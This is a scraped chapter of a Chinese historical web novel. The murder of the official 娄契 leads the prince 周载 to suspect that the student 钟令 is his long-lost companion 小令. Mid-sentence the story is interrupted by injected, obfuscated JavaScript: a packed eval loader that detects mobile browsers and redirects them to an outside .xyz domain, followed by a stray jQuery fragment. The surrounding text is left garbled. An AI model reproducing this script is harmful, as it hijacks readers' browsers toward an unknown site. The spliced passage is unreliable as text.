51. 是她
作品:《红钗诏》 林野多葳蕤,郁郁染层峦。
淮城军的将士们今日来到阳山护卫,都当是春山载酒的美差,跟在打猎的队伍后面便有几分懒散,忽然看到在前面探路的士兵折返回来,正想是什么猎户,没想到从他身后的林子里窜出来一匹马。
众人立刻警觉起来,等看清了那马上驮的是什么东西后都暗道倒霉,跟着队伍一起将那马儿围了起来。
那匹马被这么多人马包围,也焦躁了起来,往前挣脱跃几下就将驮着的尸体抛下。
“去看看。”淮城军统领杜如苇护在世子周载身边,挥刀叫亲随过去查探。
亲随下马过去,一靠近就低呼道:“娄司马!”
周载惊诧,正想过去,被杜如苇拦住,“世子,我去看看。”
周载想不到竟有人能胆大到杀害朝廷命官,娄契再不济,也是正六品的司马,杀他做什么?他远离京畿,还至于有什么政敌?况且他昨日才见过娄契,不过一天一夜,人就死了,是什么人与他有仇?
还是冲着自己来的?
“世子!”陶中使惊呼一声,看他神思恍惚,赶紧将他扶下马。
周载摇头,“无事,方才走神了。”
陶中使知道娄契与他颇有些感情,当初世子一路从郁州到京城,路上遇到山匪,乳母及一应随从都遇难了,是娄契等人护他脱险,如今娄契遇害,他必定也不好受。
他护着周载,远观杜如苇查验尸体。
杜如苇久经沙场,从娄契的尸身上看得出来,他死得很快,下手的人甚至没有给他多少挣扎的机会。
娄契不是手无缚鸡之力的孱弱文士,相反,他曾在军中历练,能骑善射,身上的本领用来防身更是绰绰有余,因此今日即便是个武中高手,也不太可能在极短的时间内将其一击毙命。
致命伤在颈上,凶手是用利器捅穿了他的脖子。
肩上还有一条刀口,他看向娄契腰间的佩刀,上面还挂着血,显然这刀口是用他的佩刀砍下的,这一刀不是为了让他丧失抵抗之力?
想要一击毙命,除非是在他还没反应过来的时候就动手,那便是一个让他没有防备之心的人,或者……他侧头看向那匹马,也可能是多人作案,用拌马绳让他坠马,让持利器的凶手在他坠落之处下手。
下一瞬,他看到马腹上的一道伤口,却不见创口,只是一处淤血……
“大将军,你看这个?”
亲随递过来一团布,打断了他的推论。
“云中碧音窥宴乐,玉笏朱甍忘荒冢。何事教得春晖断,泉台有泪夜夜鸣。”杜如苇皱眉念完,问道:“娄契的老母可还在世?”
“已过世几年了。”
杜如苇看着那血诗,心生疑窦,他是个粗人,只看得懂“春晖”、“泉台”这样简单的意象,便叫亲随呈递给周载。
还附上血诗,显然是与娄契有仇的,若是寻仇就能想通了,娄契身上的贵重之物一件不少,显然就是寻仇。他擦干净双手,叫手下将娄契的尸体裹起来,连同那匹马一起,送到县衙请县令查案。
“朝廷命官遇害,或许还要报上州府,呈报中央。”他说着,看向林中,叫人从此处向内搜寻,看何处有血迹。
那方的周载也看完了诗,心生惊疑,此时听到杜如苇的话,便将目光从血诗上收回来,抬手道:“不必搜寻了,此案还请大将军报回京城,让我父王裁定。”
杜如苇眼皮一跳,没想到这娄契竟如此得世子喜爱,连层层上报的手续都想免去了。
“是。”他点点头,依旧叫手下收好尸体,说罢目光又看向那血诗,周载却道:“这诗,我亲自交给父王。”
杜如苇想到京中密信,知道颍王如今已经被立为太子了,只是消息还没传到沧州来,如今他虽然已经被颍王纳入了自己人的范围,但显然还没有进入他们的小圈子。
而娄契在颍王年轻时就已相随左右了,两人情分自然不一般,或许他的死还有什么隐情是自己不该知道的,对于这样的吩咐,他从善如流,甚至不分丝毫眼神去窥视周载的神情,只是微笑一声,“世子可要回裴府?”
那是周载在信阳的暂住之地,他将血诗叠好收进怀中,点头道:“有劳大将军。”
杜如苇立刻便招呼将士返城,见一下了山周载就换了马车,心内暗笑这天家贵胄不过也只平白贵了血脉,胆气尚不如普通将士。
哪里知道周栽是因为那诗而失了心神。
云中碧音,说的是他母亲与音姨的名字。
血诗是为了骂我,杀娄契也是为了恐吓我。他将血诗再度掏出,目光灼灼像是要看透上面的字,然而那几行字却只是渗着可怖的暗红,仿佛随时可能从中冲出来一只手扼住他的咽喉。
到底是什么人?
陶中使看着他额上豆大的汗珠,刚想擦掉,就被他避开。
“世子?”他顶着周载防备的目光,将丝帕递上,“您擦擦汗。”
周栽轻叹一声,并未接过,只将血诗收起,各般念头在心中三回九转,良久才道:“不去裴府,我先去娄契的住处,尸体先放置在县衙,没有我的命令,任何人不得私自验尸。”
杜如苇听到这命令又是一愣,片刻后也带着人马护送他过去。
娄契在信阳县并没有置宅,只在一处客店中长住。
周栽等人去时,那客店中的人都被浩大的声势所摄,又架不住好奇心,都盯着进店的周载看。
杜如苇压着刀护在他身后,这才叫看客们收敛起来。
陶中使向客店老板询问了几句,老板当即带着他们像后院走去,直至走到一处单独隔绝开来的阁楼,推开门里面还有一个伙计在叠被。
老板道:“这是店里的伙计,娄大人这几日都是由他侍奉。”
周载踏进屋中,一面打量四周,顺便问伙计娄契从昨日与今日的行程。
“娄大人昨日中午出的门,天快黑了才回来的,回来便叫了些酒菜,今日一大早就出门去了,至今还未归来。”
他点点头,昨日午后娄契是去了裴府见自己,不过没多久便离开了,那之后到天黑,这期间他又去了何处?
他想着便看向陶中使,陶中使会意,将其余人都隔在了屋外,只留了那伙计与周载在屋中。
“他昨日回来后可有说起些什么?”
伙计摇头,“并无,只是看起来有些高兴,还多要了一壶酒,”
周载在屋子看了看,目光落在书案上还没干透的一砚墨中,在旁边还有一支未及清洗的笔。
伙计很有眼色地上前解释:“昨日回来好似写了些什么东西,我端水进来时,娄大人还嘱咐我不要碰书案上的东西。”
周载向书案走去,在一堆凌乱的纸张中发现了目标
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488768|168247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,从镇纸下取出了两页纸。
“钟令,年十八,承和二年自郁州流亡,经信阳县,父母离丧,当年九月,为县中龙门乡钟氏收养,承和十一年铨试学宫,入知业馆。”
另一张纸上则是娄契的字迹,“郁州,承和二年,信阳县,七岁,貌类江伯瞻少时……”
不等看完,他的心便狂跳不止。
小令没有死!她还活着!
陶中使不知道他从纸上看到了什么东西,乃至于连神情都变得恐怖起来,担心伙计出去后胡乱说话,便上前将那伙计隔开,轻唤道:“世子?”
他被唤回心神,坐在书案前,目光再次落到纸上的“钟令”二字上。
那个少年的面貌不像小令,他怎么可能认不出小令,那个整日同他撒娇的小令,写一个字都要喊手疼,玩纸鸢都嫌风筝线勒手,她是怎么……怎么成为钟令的?
他记得裴持盈信里提过那个叫钟令的学生,说钟令擅刀,骑射俱佳,颇有谋略。
如果娄契是她所杀,不,娄契就是她杀的,她杀娄契的目的,甚至不想掩饰,所以她写了那首诗来提醒我!
她不止活着!
……
娄契的尸体最后还是放在了县衙,周载回到裴府,告诉了裴祭酒娄契的死讯。
裴祭酒还来不及说几句惋惜的话,周载便向他问起钟令来。
即便他心内疑惑,还是将自己所知道的一一讲述了出来。
周载起初以为他在讲传奇,一个庄户出身的小子,没有正经读过书,但是在十七岁的时候考进了学宫,没有名师,但是一手文章已经远超同辈,能单手负刀从陡峭的落虎山上纵马腾跃……
如果他真的是她,那就更像传奇了。
“我想见见她。”
裴祭酒看了眼天色,此时已是傍晚了,“今日吗?”
他点头,“有劳大人了。”
裴祭酒应下,却不明白他对钟令的关注,难道是钟令与娄契的死有关?
“不知世子见钟令可是有什么要紧的事?”那样优秀的学生,他实在不想他牵扯进什么官司中去。
怕世子疑他用心,他还解释道:“此子家中只一位年迈的祖母,叫他日暮来见,恐叫其祖母担心。”
周载微微颔首,“我听说她机敏善变,想叫她协助侦查娄司马遇害的真相。”
他这才放心了些,便交代人去请钟令。
陶中使趁着他交代下人时,迅速跟上去小声道:“因娄司马的事,世子至今还滴水未进。”
裴祭酒大惊,明白他这是叫自己劝劝世子,立时便招来小厮,“吩咐厨房里做些清淡的菜食。”
毕竟是长辈,世子身份再高也不能说他自作主张,还得谢他周全。
裴祭酒与娄契并无交情,但从当日宴会上世子与其往来的情形,亦可见几分情分,便劝慰道:“斯人已矣,若是娄司马在此,定然也不原见世子为其伤神。”
他起身来,对裴祭酒微微点头,眉目间还有些凄色,“大人的话我明白,若是人到了,还请大人叫她来住处见我。”
裴祭酒无有不应,看着他离开后,心中却想稍后等人到了,必要交代他不能接下这差事,谁知道其中有多少猫腻,如今又正是皇储争斗的关键时刻,娄契之死未必就不可能是上头神仙打架的结果,何苦叫钟令一个学生被牵连进去。